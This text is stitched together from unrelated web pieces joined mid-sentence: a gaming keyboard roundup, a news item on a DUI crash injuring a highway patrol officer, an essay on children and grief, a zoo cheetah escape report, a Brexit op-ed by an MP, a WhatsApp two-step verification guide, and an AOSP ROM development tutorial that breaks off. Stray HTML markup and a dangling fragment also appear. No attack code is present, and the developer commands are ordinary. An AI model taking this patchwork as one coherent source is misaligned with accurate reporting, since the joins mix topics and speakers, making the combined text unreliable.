It’s becoming more and more common for the best gaming keyboards to abandon Cherry MX switches in favor of custom ones. And, if we keep getting keyboards as good as the Roccat Vulcan 120 Aimo and its Titan switches, we hope the trend never stops. Not only does this keyboard have amazing tactile feedback, but it’s comfortable to type on and won’t keep your roommates awake at night. When you add in just how gorgeous this keyboard is, there’s no denying that this is one of the best gaming keyboards you can buy right now.
Read the full review: Roccat Vulcan 120 Aimo
Logitech G513
3. Logitech G513
Gaming in silence
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Superior key switches
Brilliant RGB lighting
No dedicated media keys
One of the biggest problems with Cherry MX Red keys is that while they’re good for gaming, they’re not ideal for typing anything but your Steam credentials. And, that’s where the Logitech G513 and its Romer-G Linear switches steal the show. With its brushed metal finish that, miraculously, is nearly immune to fingerprints, it all adds up to one of the best gaming keyboards on the market in 2019.
Read the full review: Logitech G513
Cooler Master MasterSet MS120
4. Cooler Master MasterSet MS120
The complete package
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: No
Compact design
Illustrious lighting
Included mouse is mediocre
Not everything has to be super high-end, and the Cooler Master MasterSet MS120 is proof. It’s a keyboard and mouse set, and while the mouse isn’t all that great, the keyboard is the star of the show. Sitting at just under a hundred bucks, the MasterSet’s keyboard is up there with other, more premium ‘mem-chanical’ keyboards. The switches on offer bring a ton of tactile feedback and deep travel, and won’t keep your whole house awake at night while you’re furiously pounding away on it during an intense late-night Overwatch match. The Cooler Master MasterSet MS120 really is one of the best gaming keyboards under $100.
Read the full review: Cooler Master MasterSet MS120
Corsair K63 Wireless
5. Corsair K63 Wireless
Wireless PC gaming at its finest
Interface: Wireless | Keyboard backlighting: Yes | Programmable keys: Yes
Perfect couch gaming
Fully featured
Flimsy palmrest clips
We have seen plenty of wireless gaming mice over the last few years, but not many wireless gaming keyboards. Until now. The Corsair K63 Wireless keyboard takes what made the wired version of the K63, and transfers it into the wireless version – without sacrificing much at all. Packing tight Cherry MX Red switches, full RGB lighting and convenient media controls, the K63 wireless shows us what wireless keyboards can be capable of in 2019.
Read the full review: Corsair K63 Wireless
HyperX Alloy Elite
6. HyperX Alloy Elite
A Cherry MX-powered circus of value
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: No
Reasonably priced and fully featured
Handy media keys
Seriously thick cable
No macro programming
Following in the footsteps of Kingston’s first HyperX-branded gaming keyboard, namely the HyperX Alloy FPS, the HyperX Alloy Elite tweaks the company’s first winning keyboard to provide only a few subtle changes. For only $10 USD more than its predecessor, you’re getting media keys, a light bar and even a palm rest, all of which were previously absent. They’re also a series of delightful treats, making for a value proposition that shouldn’t be ignored.
Read the full review: HyperX Alloy Elite
Corsair K95 RGB Platinum
7. Corsair K95 RGB Platinum
This mechanical animal has cheetah-like speeds
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Hypnotic disco lighting
Classy aluminum build
Awkward software
Rubber palm rest gets grungy quickly
Just like the Corsair K70 Rapidfire that came before, the K95 RGB Platinum is a mechanical keyboard that puts gaming above all other things. Rocking 8MB of dedicated memory for storing different profiles, this keyboard certainly has the versatility to get the job done, whatever it may be. It features a beautiful build, as well, with a military-grade aluminum finish that complements Corsair’s fantastic RGB lighting perfectly.
Read the full review: Corsair K95 RGB Platinum
Razer Cynosa Chroma
8. Razer Cynosa Chroma
A keyboard you can get wet
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Affordable
Low-profile build
Membrane switches
If you’re new to PC gaming, and you want a keyboard that’ll perform admirably without the high price tag that a lot of mechanical keyboards carry, the Razer Cynosa Chroma might be for you. It might not have the tactile clickiness of a higher-end board, but the hybrid mesh switches perform well enough, boasting a 1ms polling rate and 10-key rollover. That’s not to mention the sick RGB lighting.
Read the full review: Razer Cynosa Chroma
Corsair K68 RGB
9. Corsair K68 RGB
The snack-proof gaming keyboard
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Water resistance
Subdued style
Sub-par wrist rest
Accidents happen – it’s just a fact of life, especially when you’re gaming. Luckily, it’s becoming more common for the best gaming keyboards to be able to handle anything you could throw at them, even Mountain Dew. The Corsair K68 RGB takes a fantastic keyboard design with Cherry MX Switches and makes it water resistant, so you don’t have to worry about a sudden soda shower during a frantic play session. And, with its subdued, stylish design and reasonable price tag, it’s easy to recommend the Corsair K68 RGB.
Read the full review: Corsair K68 RGB
SteelSeries Apex M750
10. SteelSeries Apex M750
Great for gaming, just OK for everything else
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Dazzling lighting
Rugged Build
Extremely loud
If you’re looking for a gaming keyboard, and you don’t plan on doing much else, the SteelSeries Apex M750 is a great choice. It has fantastic software for customization and gorgeous RGB lighting. It also has a great tactile feel to it and feels extremely robust and durable. The only drawback is that the keyboard is extremely loud and uncomfortable for productivity work.
Read the full review: SteelSeries Apex M750
Bill Thomas and Gabe Carey have also contributed to this articleCalifornia Highway Patrol said it has arrested the FedEx driver who hit and severely injured an officer on suspicion of driving under the influence.
41-year-old Gregory Anthony Ramirez was transported to the CHP South Sacramento Area Office after the accident, where it was determined he was under the influence.
CHP said Ramirez is facing felony DUI charges, causing injury and possession of a controlled substance.
The officer's name has not been released. He suffered major injuries and is expected to survive, CHP said.
CHP said the officer was investigating a hit-and-run involving two vehicles at around 3:10 a.m. One of the drivers involved in the hit-and-run fled on foot and may have been intoxicated. The investigation into the hit-and-run is continuing, CHP said.
CHP officer struck on Highway 50 <p><span style="color: rgb(51, 51, 51); font-family: arial, sans-serif; font-size: 14px; line-height: 22px;">A California Highway Patrol officer was taken to the hospital early May 7, 2016 after he was struck by a FedEx truck on Highway 50 near </span>16th<span style="color: rgb(51, 51, 51); font-family: arial, sans-serif; font-size: 14px; line-height: 22px;"> Street in Sacramento. </span></p> <p><span style="color: rgb(51, 51, 51); font-family: arial, sans-serif; font-size: 14px; line-height: 22px;">A California Highway Patrol officer was taken to the hospital early May 7, 2016 after he was struck by a FedEx truck on Highway 50 near </span>16th<span style="color: rgb(51, 51, 51); font-family: arial, sans-serif; font-size: 14px; line-height: 22px;"> Street in Sacramento. </span></p> <p |
okay, so I did.
Grade 6 (11years old) saw another move, to Alaska. It was 2001, September was 9-11. When it happened and word came to our teacher, we sat in class and watched the news coverage. We had the TV on in class for 3 days. We talked about what happened, the lives lost, the people who did it and what might happen. We were encouraged to write our feelings. That was another first for me. No one had told me to write anything out before. I still have a notebook somewhere with the letter I wrote to myself on 9-11. It talks about my knowing that the US would go to war, that Canada would go because we’re allies, that my father would go because he was in the military, that my brother would go because he wanted to join the military, that my dad and brother would die because people died in war. At that time, I accepted that my dad and brother would die. They didn’t, and have both avoided the middle-east.
Later that year, one of the girls in my scout troop stayed home sick from school. Day three of her not there, our troop leader came in and pulled everyone out of class to talk to us. She told us that our friend had died of spinal meningitis and there was nothing the doctors could do about it. Her funeral was the first that I attended. I also went to the memorial service at the school and helped organize it.
When I was in grade 8, I had a teacher who recognized something in me. She saw my writing in English class and encouraged me to keep writing and write constantly. She pushed me to attend writing conferences, to enter contests, to write for people, and to try any style. In grade 9, I was still writing constantly and my work was so dark that I was banned from reading anything out loud without having prior permission. It wasn’t dark because I was writing real experiences, it was dark because I was finally processing that emotion that had built up over the previous years, finally understanding death.
In grade 11, my aunt passed away from pancreatic cancer. I was able to deal with her death and even understand pancreatic cancer a bit more by doing a report on it for my science class.
My boys:
Three months before I stepped into my boys’ lives, their grandfather passed away. They’re a tight family and all live locally, so they knew him well, something I didn’t have with mine when he passed. They were also dealing with the separation of their parents, who officially separated (for the kids) when I got there. The boys would ask me questions about death, God, heaven, dying, and why. They would ask me when we were on walks, when we were at home, when we were playing games, when we were reading. I was there all the time and they never asked their mom. I did the best I could. I didn’t grow up with God, but knew they were being brought up that way and found the answers to those questions online as best I could. I drew on my own experience, my own very real fears, my own methods of coping and processing the emotions to find them answers for dealing with it. When, six months after I showed up, I took them for a walk through the local cemetery because they insisted on it and told their mother, she couldn’t understand that the boys would still be thinking about their grandfather and his death.
It’s a Process
I know that it’s hard to understand, but as adults, we tend to push aside our experiences as children and not be able to pull on them to meet our children’s unexplained emotional needs. If I hadn’t experienced the depth of death that I had when I was young, I wouldn’t have those memories as sharp in my head now as I do and wouldn’t have been able to draw on them to help my boys.
Define it early:
Explain it in plain words. Don’t dance around what’s happened. Kids are smart and they pick up on what’s going on very easily. Clearly define what’s happened and be prepared to help them understand it further and be prepared to answer more questions as they get older because they’ll keep coming back to the first experience with more questions 2 and 5 and 10 years later, trying to understand what happened with their new knowledge.
If it’s a disease/illness, define it clearly. It took me years to realize that feline leukemia and melanoma and cervical cancer were three different forms of cancer. I didn’t know that my mom wasn’t in danger of dying because they caught it early. It wasn’t until I was well into middle school that I understood my mom wouldn’t die from the cancer she had. Make sure you’re clear about what it is and what it means, there’s always age appropriate words you can use to get your point across, you just have to find them. Just remember that the doctors are the good guys, even if they can’t/couldn’t do anything.
It’s NEVER Exaggerated:
When I voiced that I was afraid everyone would die and I’d be alone because someone had died every year since I was 7, it was a very real fear. When it was dismissed, I was told that what I feared didn’t matter. I didn’t have the words to explain why that’s what I feared, and I didn’t have the understanding to know why the adults felt I was exaggerating the situation. When bad things kept happening, even after the fear was dismissed by adults, I “knew” I was right and just felt worse, but I had no one to turn to at that point because the adults I trusted didn’t listen the first time.
The weird and exaggerated fears that come out of death and grief are very real for the child experiencing them, however strange they may seem to you. Humour the child and find a way to talk it out instead of simply dismissing it. Knowing that their fears are valid, even if they’re odd, will help the child get over them and not hold on to that fear for years to come.
Find a Way to Express:
Everyone needs a way to express their emotions. Some people draw, some people paint, some people dance, some people use sports. For me it was writing. Find a safe way for the child to express their emotions and encourage it. What comes out of it may not be appealing (dark art/writing as was from me), but it’s helping the child understand the emotions that are bottled up inside. It gives them something to turn to to help them understand what’s happened and why they feel the way they do.
Be a Listener:
It’s huge, just listen. You have your own problems, yes, but it’s very important for the child to know that you are listening, that you hear them, that you understand what they’re feeling. Give them that safe ear to spill their guts to, even if it doesn’t make sense to you. Give them that safe shoulder to cry on, even if you can’t understand why they’re still crying over something you’ve been able to deal with.
And remember…
These are big things, huge things. How long did it take for you to process and cope with what happened as an adult? How hard do you think it is for the child to understand it and deal with it when they don’t have your long experience?Please enable Javascript to watch this video
INDIANAPOLIS, Ind. (September 6, 2015) – The Indianapolis Zoo lifted their lock down after a scary incident Sunday morning.
Visitors at the zoo were instructed to seek shelter around 9:30 a.m. after they were told a cheetah escaped its holding area.
According to the zoo, one of the Indianapolis Zoo’s male cheetahs got out of his primary enclosure into a landscaped area of tall grass and trees behind a barrier fence between the exhibit and public space.
The Zoo’s emergency protocols were immediately activated.
When the emergency response team’s veterinarian approached the cheetah, it was calm and lying down in the high grass. The veterinarian was able to dart and sedate the cheetah.
After being darted, the cheetah jumped back down into the exhibit and was unconscious in three minutes.
All guests, staff and cheetahs are fine.
The 4-year-old cheetah, named Pounce is new to the Indianapolis Zoo and came here from the San Diego Zoo with his brother, Zephyr.
The Zoo’s Cheetah: The Race for Survival exhibit will remain closed and the cheetahs will stay indoors until the zoo is certain the issues that led to this incident have been resolved.
We want to assure everyone that all of our guests and our staff staff are safe. All of our cheetahs are safe in holding off exhibit. — Indianapolis Zoo (@IndianapolisZoo) September 6, 2015The question posed to each voter in the EU referendum was clear. And it was a question, I imagine, that I answered differently from the vast majority of those who read the Guardian. I said at the time, publicly, that our place was at the heart of a reformed European Union that was answerable to its citizens. But that wasn’t on the cards, and so I had to make a decision.
Brexit statement: David Davis rejects calls for MPs to vote on negotiating terms - Politics live Read more
Believing that we should be able to throw out of office the people who make the rules, and knowing from my membership of the European scrutiny committee in the House of Commons that we couldn’t, I exercised my own vote in favour of leave. I hated the campaign that leave ran. I disliked most of the people who ran it. What they said was divisive, xenophobic and untrue. But I persuaded myself that the sovereignty of the parliament in which I sat was more important than the tactics of a bunch of people I declined to have anything to do with. And then we got the result that we did.
What no one who put their cross in the leave box voted for, however, was the form that Brexit should take. It wasn’t on the ballot paper and no one knew, if that were to be the result, how matters would play out.
Frankly, I didn’t think leave stood much of a chance. But I also thought that if there were a vote to leave the EU, the outward-looking, internationalist face of modern multicultural Britain would win through: that although we would leave the EU, we would remain in the single market to which the manifesto of every major political party at the last election committed us – a market on which our prosperity as a nation, and our ability to raise the taxes to pay for public services, is founded.
Hard Brexit, with all the damage it will do, has seemingly become the received wisdom
That, of course, was before the lurch to the right made possible by the absence of any centrist opposition to this government. And the latest feature of the current direction of travel is the government’s desire not to seek the view of the House of Commons as to where its Brexit negotiations should end up. Hard Brexit, with all the damage it will do, has seemingly become the received wisdom, without any mandate at all from the British people, and seemingly without any challenge – at least until this week.
There is a supreme irony in all of this: a government principally led by remainers taking the result of the referendum as carte blanche not only to take Britain out of the EU, but to do so on whatever terms they like without reference to those elected to represent the views of the British people. Principled opposition is coming from only a few, such as Ed Miliband and Anna Soubry, who are prepared to point out that although the government may have a mandate for Brexit, it has no mandate at all for what it should look like.
The campaign to give parliament the right to determine our future relationship with the EU is not about reversing the referendum result. Nor is it about subverting the will of the British people, or having a second bite of the cherry. It’s about the sovereignty that I and others cherish, a sovereignty that resides principally in the House of Commons and in its ability, when given the opportunity, to inform and direct the government of the day.
Not giving parliament the chance, before article 50 is invoked, to say where it thinks these negotiations should end up is, at its core, undemocratic, unconstitutional and likely to exacerbate the divisions in our society to which the referendum gave rise. It also ignores the views of nearly half the people who voted in the referendum, who were perfectly content with our place in the EU.
Ignoring them, even though they were (just) in the minority, is not merely divisive but plain wrong.
The government says, of course, that it can’t give a running commentary on its negotiations with the EU and the governments of its member states. Nobody is asking for that. We are asking for MPs to have the right to have a say in directing a government with no mandate as to the form that Brexit should take. That’s it.
But even if we were asking more than that, as soon as the British government starts negotiating, not only will its position immediately leak but it will be discussed, at length, in the 27 parliaments of every other EU member. Though not ours, apparently.
Hard Brexit will cost Treasury up to £66bn a year, ministers are told Read more
We’ll be kept informed by periodic government statements, but we won’t get to debate anything. That’s not what I voted for; it’s not what I believe the vast majority of my constituents voted for; and it’s not consistent with the way in which democratic societies should work.
Tomorrow, therefore, I will vote with the opposition to try to wrest back control over the form our future relations with the EU should take from a government that has no mandate at all to decide that question on its own.
There is still time for the government to change its position and accept that this is not only a good idea but the only thing consistent with what the referendum really decided: that the majority of British people want their own parliament to make the rules by which they are governed. They don’t want tyranny from their own government any more than they want it from the EU. It is to be hoped that someone in No 10 is listening.
• The photograph and caption on this article were changed on 4 November 2016.Pin 1 6 Shares
Whatsapp is no doubt one of our favorite app installed on our phone. The developers of WhatsApp are working real hard to provide you new features. But for now, WhatsApp is working on the security of the app.
According to a report, in January 2017, there were 1.2 Billion active users of WhatsApp. With such a huge user base, Security is always a big concern for Whatsapp. Last year, WhatsApp enabled end to end encryption and this time WhatsApp introduced Two Step Verification. You would get this feature in your next WhatsApp update or maybe you already get this feature.
What is Two-Step Verification?
To understand it, just think about the procedure you followed while setting up the WhatsApp for the first time. You install the App, entered your Mobile Number, a code received, you entered the code and it’s done. With this, anyone can have your WhatsApp on their phone.
Two-Step Verification adds up one extra step while setting up the WhatsApp. I would highly recommend you to use this Two-Step Verification as this will secure your Whatsapp account. With this feature, no one can set up your Whatsapp with just a mobile number.
Also Read: How to use Whatsapp Web on your PC/Mac
Before setting up the Two-Step Verification, Make sure you have the latest version of Whatsapp. Go to Play Store and check for the WhatsApp update.
Let’s Set up the Two-Step verification.
Open Whatsapp and tap on the three dots menu. Then go to Settings > Account > Two-Step Verification. On the two-Step Verification screen, you would get an idea about it. Basically, you would set up a passcode that you have to enter whenever you set up your Whatsapp in future. To enable Two-Step Verification, Tap on Enable button. Now enter a passcode. Confirm the passcode Here it would ask to add an email account which can be used to Reset the passcode in case you forget it. There is a skip option but I would recommend you to enter your primary email address. After all, we are humans and forgetting a 6 digit number is not a big deal. After confirming the email address, tap on Save Two-Step Verification is enabled on your WhatsApp account. You can disable it anytime. You can change your passcode and you can also change your email address anytime in future.
Enable Two-Step Verification to Secure your WhatsApp account
So this is how you can enable Two-Step Verification. Next time, when you would set up Whatsapp account, you have to enter this Passcode to activate your WhatsApp account. In case you forget your passcode, you can Reset it from your email address.
Also Read: 10 Awesome things You have no Idea you can do on Whatsapp
This is a good trick to secure your Whatsapp account. This is the reason why Whatsapp is people’s favorite Instant messaging app. You do get some amazing features and also get the security of your account.
Share it on Facebook, Twitter or any other social media with your friends, family, and relatives. Help them also in securing their WhatsApp account. I would also like to hear your views about WhatsApp Two-Step Verification. Do let me know in the comment section.The AOSP codebase in big.
Developing on the AOSP is not as simple as writing an app, where you execute a nice gradle target and poof! you see it on the device. So far in this series, we discussed how to get the AOSP code into our environment, and how to build this code into a sweet flashable Android image files. We can now fill in the missing piece – how to efficiently develop for such an enormous system.
In this post, I will cover:
Properly importing an AOSP repository into your source control
Use better ways to build modules and deploy to the device
Writing scripts for faster development process
I’ll use Git and Bash commands that you may not know, but can definitely search and learn as we go. You can also use this simple Bash scripting tutorial to get started.
Versioning our manifest
Before changing any repository on the manifest, I’ll make a small change on the manifest I worked with on my previous posts. The manifest was based on the master branch on Google’s git server. I want my manifest, and my entire AOSP system, to be based on a specific Android version, not the master branch. This will give me more control when new features are coming out to Google’s repository, and I’ll need to choose to migrate those changes into my system. It’s a best practice to avoid syncing new changes before they’ve been tested properly.
To do that, I’ll create a new folder and initialize the repo for the android version tag that I want, in this case - Android 4.4.3_r1.
$ cd tmp_folder $ repo init -u https://android.googlesource.com/platform/manifest -b android-4.4.3_r1
Inside this folder, the.repo/manifest.xml file is the manifest file relevant for this version. We’ll merge that manifest with the one I currently have. You can take a look at the commit that I made to see the changes, which are basically just taking all the projects definition from the android-4.4.3_r1 tagged manifest, and adding my “udinic” remote.
The merged manifest is the one we’ll start using from now on. I created a separate branch for the updated manifest (not to interfere with the examples on my last posts), called “dev_branch”. Now I’ll re-initialize my working dir with the new branch and sync it, to get the latest changes from the android 4.4.3 version.
$ cd <working dir> $ repo init -u git@github.com:Udinic/ucmod_manifest.git -b dev_branch $ repo sync
Note: This is the exact procedure you’ll need to do to your manifest, when updating your AOSP system with a new version from Google’s servers. Meaning - if your ROM is based on Android 4.4.2, and now Android 4.4.4 came out, that’s the first step you need to do in order to apply those updates on your codebase. If there’ll be enough requests - I’ll post a complete guide for this process.
Now that we got that out of the way, let’s move on to do some real changes:
Bringin’ it home
Our first step – being able to “edit” an AOSP repository. We need to push an existing AOSP repository to our own source control, so we can push new changes. Basically - making it “our own”.
Copy a repository to my Github account
The first repository we want to make changes to, is the frameworks/base project. This project contains the entire Android framework code, with all the UI elements you see on your screen (Notification bar, Navigation Bar etc.).
We first need to create a new repository on the Github account that hosts our repositories; we’ll call it “ucmod_frameworks_base”. I used my account on Github, but you can use BitBucket or any other source control that you’d like, as long as you’re using Git.
After doing that - Let’s get some code inside.
$ cd <working dir>/frameworks/base $ git status
HEAD detached at 36e356c nothing to commit, working directory clean
Running git status inside that folder is showing that we’re currently on “detached HEAD mode”. This means that we’re aren’t standing on any branch for this repository, and need to checkout a branch before being able to commit anything. This is a safe state, helping to avoid committing changes that we may not want to commit. The current checked-out revision for the repository, is the one stated on the manifest file for this specific project. In our case - the one that’s tagged with the android-4.4.3_r1 tag. Before we can push the frameworks/base code, we need to create a branch. This will be our “development branch”, from which we’ll branch out and merge back in when developing.
A few words on “development branches” in general - some developers/companies prefer to use the “master” branch as a development branch, and some prefer using a separate branch, from which all feature branches will be created and merged back into after the work on them was done. In that case, the master branch can be used to hold the most stable version or even not be used at all. There are other options of course, each with its own pros/cons, and your decision should depend on the project’s size, architecture, team size and more.
My development branch will be called udi-dev. That’s how I’m creating and pushing it:
$ git checkout -b udi-dev $ git remote add udinic git@github.com:Udinic/ucmod_frameworks_base.git $ git push udinic udi-dev
These commands will:
Create a new branch called udi-dev, from the existing revision.
Add a new remote called “udinic” to point the repository I just created under my Github account.
Push my development branch into the new remote.
This process will take a while, since this is a big repository. In the meantime, we can update our manifest to point the frameworks/base project to the new repository.
Updating the manifest
We’ll go to the dev_branch branch on the manifest project, and edit the frameworks/base project from:
<project path= "frameworks/base" name= "platform/frameworks/base" />
to be
<project path= "frameworks/base" name= "ucmod_frameworks_base" remote= "udinic" revision= "udi-dev" />
The new project definition will take the ucmod_frameworks_base repository from the udinic remote, in the “udi-dev” revision - the development branch we created earlier for this project.
Making some changes
To start coding, I’ll open the entire AOSP codebase on my Android Studio. Yes, it’s possible and there are even scripts in the AOSP system to help us do that.
Opening the codebase in the IDE
I use Android Studio and I’m sure many of you do too.
I’ve found these great instructions very helpful for opening the AOSP codebase in Android Studio. They are meant for opening the CyanogenMod codebase, but it’s using scripts that are available as part of the AOSP. As I mentioned in one of my Google+ posts, I did do something different than the original instructions, so you’re welcome to use my advice when using these instructions.
The codebase is big and might take a couple of mins. to index when first opening it. Usually it works pretty smoothly after that. If you feel it’s really slow to operate - turn on the “Power save mode” from the “File” menu. This will turn off features like auto-compilation, auto-import and other stuff that could hang when working on large codebases.
Workin’ Workin’
As the first change to our new ROM, I wanted to pick something simple, yet visual.
There’s a small text item on the status bar that appears whenever there’s no service at the moment, letting us know we can only make emergency calls. This text item is not shown at all in all other cases. Here’s how it looks like when it does:
We can use that text item to put something of our own, when not used for this purpose. For example, I thought it could be a nice place to put a small branding text, such as my website. But in order to do that - I need to figure out where is it being created. I used Hierarchy Viewer to locate the TextView and after a short investigation - found it in the PhoneStatusBar.java file, in the makeStatusBarView() method. Here’s a snippet of how it’s initialized:
final boolean isAPhone = mNetworkController. hasVoiceCallingFeature (); if ( isAPhone ) { mEmergencyCallLabel = ( TextView ) mStatusBarWindow. findViewById ( R. id. emergency_calls_only ); if ( mEmergencyCallLabel!= null ) { mNetworkController. addEmergencyLabelView ( mEmergencyCallLabel );... } }
The first thing we notice - it’s shown only if the current device has a voice calling feature. A Wifi only tablet will never show this text item. We’ll modify the code to show the text view, with the text I want, and do that for every device.
1 if ( isAPhone ) { 2 mEmergencyCallLabel = 3 ( TextView ) mStatusBarWindow. findViewById ( R. id. emergency_calls_only ); 4 5 if ( mEmergencyCallLabel!= null ) { 6 mEmergencyCallLabel. setVisibility ( View. VISIBLE ); 7 mEmergencyCallLabel. setText ( "http://www.udinic.com" ); 8... 9 } 10 } else { 11 mEmergencyCallLabel = 12 ( TextView ) mStatusBarWindow. findViewById ( R. id. emergency_calls_only ); 13 if ( mEmergencyCallLabel!= null ) { 14 mEmergencyCallLabel. setVisibility ( View. VISIBLE ); 15 mEmergencyCallLabel. setText ( "http://www.udinic.com" ); 16 } 17 }
Whether we’re running on a phone or a wifi only tablet, we will always show the URL to my website in the status bar. This is not a robust solution, or even a well-written one, but I’m keeping it that way for simplicity.
Building
Remember how we bring those changes to the device? If you read my last post, you’d know already how to build our codebase into something we can flash on a device. Go refresh your memory if you don’t remember.
I’ll test the code on my Wifi only Nexus 7 2013, so I’ll run
$ source build/envsetup.sh $ lunch full_flo-eng $ make -j16
and flash
$ adb reboot bootloader // Put the device in fastboot mode $ fastboot flashall -w // Flashes the images created
The result:
Rapid development on AOSP
That was nice huh?
But you know what? Now that I look at it, I think that I might go with a shorter text, something like “UdinicMod”. But wait a second! I just spent a few minutes to get this working, do we really need to run make and flash it for every simple change we make?!
Well..no.
Luckily, we have options to make the process more efficient and much shorter. To learn how, we first need to understand how things are structured within the build system.
Modules in the AOSP system
Every project in our codebase can introduce one or more modules. These can be apps, libraries, services and more. Every module is declared in the Android.mk file, located inside the project’s folder, along with all its source files. Every Android.mk file can declare one or more modules. The Android.mk file contain all the instructions needed to build its modules. When running make -j16, the build system is basically invoking all the Android.mk files in the system, relevant to the selected build variant and with respect for dependencies of course.
Under the framewoks/base folder we have a few modules declared in separate Android.mk files:
In the frameworks/base/Android.mk file, we have the “framework” and “framework2” modules (separated to overcome the Dex’s 64K methods limitation) among other smaller modules.
Under the frameworks/base/services/java we’ll find the “services” module, containing system services; Services such as media, location, connectivity, input and more.
Under the the frameworks/base/packages/SystemUI we’ll find the “SystemUI” module, which is an apk with the System’s UI, including the status bar, navigation bar and more.
Under frameworks/base/core/res lays the frameworks-res module, containing framework resource files such as strings, drawables, dimensions and more.
Many more… Just run: find. -name “Android.mk” inside the framework/base folder to see all of them.
The change I made earlier is part of the SystemUI module. Let’s continue and see how can we build just that one.
Building specific modules
Since we usually work on a single module, we basically need to build just that. Running make -j16 will try to build all the projects in the system. Since the vast majority of them haven’t changed - nothing will be built. Since there are so many of them, it’ll take time to finish “building” everything.
When running the source build/envsetup.sh command, we add some useful function for our day-to-day development. Here is a list of functions coming with the AOSP (seeing by the command hmm):
lunch: lunch <product_name>-<build_variant>
tapas: tapas [...] [arm|x86|mips|armv5] [eng|userdebug|user]
croot: Changes directory to the top of the tree.
m: Makes from the top of the tree.
mm: Builds all of the modules in the current directory, but not their dependencies.
mmm: Builds all of the modules in the supplied directories, but not their dependencies.
mma: Builds all of the modules in the current directory, and their dependencies.
mmma: Builds all of the modules in the supplied directories, and their dependencies.
cgrep: Greps on all local C/C++ files.
jgrep: Greps on all local Java files.
resgrep: Greps on all local res/*.xml files.
godir: Go to the directory containing a file.
If the description is not enough, you can always see the source code for those functions. The most helpful functions, in my mind, are the croot, lunch and the mm/mmm functions.
The mm function will build the project that we’re currently standing in. The mmm function will take a list of projects folders to build, and build them. Here are some examples:
$ cd <working directory> $ mmm packages/apps/Email // Build the Email app $ cd packages $ mmm apps/Email apps/Music // Build the Email and Music apps $ cd apps/Email $ mm // Build the Email app
Note: Sending more than one path to the mmm function is available only when running on Bash. I’m using Zsh (along with the highly recommended Oh-my-Zsh) and it’s not working for me, due to the way the function works internally. As a workaround, you can run “mmm path1 && mmm path2”.
The mma/mmma functions are doing the same, only they are also building the depended modules. Since there’s a need to create some sort of dependency graph for those, in order to see who depends on what, these functions are naturally slower than the mm/mmm functions. In most cases you’ll be working on a single module, therefore there’s no need to search for its depended modules. Even if there are dependencies you need to build, you would probably know about them and can build them by yourself using the mm/mmm functions, instead of wasting everyone’s time building a dependency graph.
As mentioned earlier, if the module hasn’t changed - nothing will be done. But we do have the option to rebuild, using the -B switch. For example:
$ mmm packages/apps/Email -B
Since our new feature is part of the SystemUI module, we need to run the following command in order to build it:
$ mmm frameworks/base/packages/SystemUI
So now we have the updated module, but we still need to transfer that module into the device somehow. Let’s review our options for that too.
Updating the device
Want to get those freshly built modules into your device? Here are 2 ways for you to do that:
Recreating the system image files
The make -j16 command has given us several image files, which we flashed using the notorious fastboot flashall command. Since we’re building only specific modules, we need another way to generate those image files. For that, we have another make target, called “snod” (= “System no dependencies”). When running:
$ make snod
We’re re-creating the system image file from the modules that are already built. This command won’t build anything, just create the image file. After that, we can flash using the regular fastboot flashall command.
This command is much faster than running the regular make -j16, with less than a minute of runtime (in compare to a few minutes).
Syncing the changes directly
The previous method is faster than running the full make, but we still have the overhead of the image flashing, which also takes time. There’s an even better way than that, by syncing the changes directly to the device. No flashing is required and not even a full restart of the device!
To do that, we’ll simply run
$ adb sync
What it does, is checking what are the modules that were changed, in compare to what’s already on the device, and copies them.
If you’re not working on any of the framework modules, you don’t need to do anything after running the adb sync command, and the device should run your code without a problem. If you did make some changes to the framework modules, you need to reload them because they are in use. You can restart the device, but you can simply just restart the Shell, which restarts the framework and other operation system components. Restarting the Shell is quicker than restarting the device and in most cases - that’s all you’ll ever need.
Since we’re just copying files and not flashing an entire image, and we also get away from doing a full restart to the device, this process is way shorter.
How short you ask?
The regular make -j16 and flash process takes around 5 minutes to complete on my machine. The make snod and flash process takes around 2 minutes. The adb sync process takes less than 30 seconds!
So to recap that, we can do our change on the PhoneStatusBar.java file and run the following commands to update the device:
$ mmm frameworks/base/packages/SystemUI // build the SystemUI module $ adb sync // Sync the updated module to the device $ adb shell stop // Stopping the shell $ adb shell start // Starting the shell again
And all that will take less than 30 seconds!
YRMV.
Automate our lives
After we saw there are faster ways to develop on AOSP, we can now create some helper functions to help us do that easier.
I got inspired by some of the functions in the CyanogenMod’s envsetup.sh script, especially the dopush function, which accepts another build function and pushes the changes to the device. For example:
$ dopush mmm packages/apps/Music
I ported it into my Envsetup.sh file, and modified the way it works a little. This is my implementation:
Check that a device is connected
Run the function that we got as parameter (e.g. “mmm packages/apps/Music”)
Run_ adb sync_ to sync all the built modules
If one of those modules is a framework one - restart the shell
Print a summery with the number of synced files
I also defined aliases for faster workflow:
alias mmp = 'dopush mm' alias mmmp = 'dopush mmm'
Now I can simply run this, to build the module and push to the device:
$ mmmp packages/apps/Music
Since sometimes I change several framework modules at a time, I created an alias to help me build them all, and push the changes to the device.
alias mfwk ='mmm frameworks/base/core/res frameworks/base frameworks/base/services/java frameworks/base/packages/SystemUI'
alias mfwkp = 'dopush mmm frameworks/base/core/res frameworks/base frameworks/base/services/java frameworks/base/packages/SystemUI'
Here I’m building all the framework modules I introduces earlier, and after that I push them to the device. The dopush script will restart the shell in order for my changes to apply.
The changes were committed to the envsetup.sh in the build project of udinicmod. That project was also added to my github in the same way as I did for the frameworks/base project. If you have other commands that you find yourself writing over and over again, you can add new alias or scripts to your envsetup.sh file too. If you feel other can use them - you’re more than welcome to share :)
Tips
Some random tips you can use:
Creating a feature branch on multiple projects
If your feature requires changes on more than one project, you can use the repo start command to start a feature branch on all of them at once. The syntax is:
repo start feature_branch_name PROJ1_name [,PROJ2_name, PROJ2_name…]
The project name is the same name used in the manifest file. For example:
$ repo start brand_ucmod ucmod_frameworks_base
The repo start is almost identical to just running git checkout -b branch_name, but it also set some properties needed by the git upload command, which is relevant if you’re using Gerrit for code review. Gerrit is out of the scope of this post.
Playing with the manifest file
If you need to edit your manifest file, whether for adding new repositories or editing existing |
alden, Norway.
